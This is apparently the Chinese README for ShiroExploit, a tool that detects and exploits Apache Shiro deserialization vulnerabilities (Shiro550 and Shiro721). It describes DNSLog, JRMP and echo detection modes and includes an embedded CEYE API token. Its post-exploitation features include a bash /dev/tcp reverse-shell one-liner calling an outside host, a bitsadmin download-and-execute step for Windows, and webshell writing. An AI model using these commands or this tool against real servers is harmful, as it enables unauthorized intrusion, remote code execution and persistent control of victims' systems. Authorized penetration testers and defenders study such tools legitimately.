对回显方式进行了一次更新,希望现在能好用一点
很多回显方式在本地测试OK,但是在实际环境中却不行,这个问题我不知道该怎么解决,希望有师傅可以指导下或者一起讨论下。
支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测,支持多种回显方式
Shiro550无需提供rememberMe Cookie,Shiro721需要提供一个有效的rememberMe Cookie- 可以手工指定特定的 Key/Gadget/EchoType(支持多选),如果不指定会遍历所有的 Key/Gadget/EchoType
- 复杂Http请求支持直接粘贴数据包 pic1
- 可以不进行任何配置,配置文件中已经预置了 CEYE 域名和对应的 Token,当然也可以对其进行修改。
- 程序会首先使用反序列化
SimplePrincipalCollection的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload - 缺点:程序会使用 API:http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查询检测结果,这个 API 有时候会无法正常访问,导致在这种方式下无法找到 Key 或者有效的 Gadget
- 可以不进行任何配置,每次启动时程序会自动从
dnslog.cn申请一个 DNS Record。 - 程序会首先使用反序列化
SimplePrincipalCollection的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload - 缺点:少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget,且 dnslog.cn 只会记录最近的10条 DNS 解析记录
- 需要在 VPS 上通过命令
java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]开启HttpService/JRMPListener,并按照要求填入相应 IP 和端口 - 如果开启 HttpService/JRMPListener 时未指定端口号,则
HTTPService默认监听8080端口,JRMPListener默认监听8088端口 - 使用
JRMP的方式进行漏洞检测,可以显著减小 cookie 大小 - 程序会首先使用反序列化
SimplePrincipalCollection的方式筛选出唯一 Key,然后使用JRMP依次为各个 Gadget 生成对应的 JRMPListener
- 针对不出网的情况进行漏洞检测,此时可以检测的 Gadget 类型会少于使用 DNSLog 方式的 Gadget类型
- 程序会首先使用反序列化
SimplePrincipalCollection的方式筛选出唯一 Key,然后依次判断可用的 Gadget 类型和回显方式 - 支持多种回显方式,回显方式和代码请参考 deserizationEcho
- 使用写文件回显方式时,可以提供一个静态资源 URL,程序会将此静态资源所在的目录当做写入目录,若不提供,则写入根目录
- 测试 vulhub 拉取的镜像及 Windows下用 Tomcat 搭建的测试环境,结果如下 echo1 echo2
- 程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。
反弹shell(linux)采用bash -i >& /dev/tcp/1.2.3.4/443 0>&1的方式反弹 shell反弹shell(Windows)采用bitsadmin下载指定 URL 的 exe 文件并执行的方式获取 shell获取Webshell直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取 pic3
在使用漏洞检测主程序或者开启 HttpService/JRMPListener 时,均需要ysoserial.jar的支持,将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。
感谢 AgeloVito 怕冷的企鹅 给予本项目的技术支持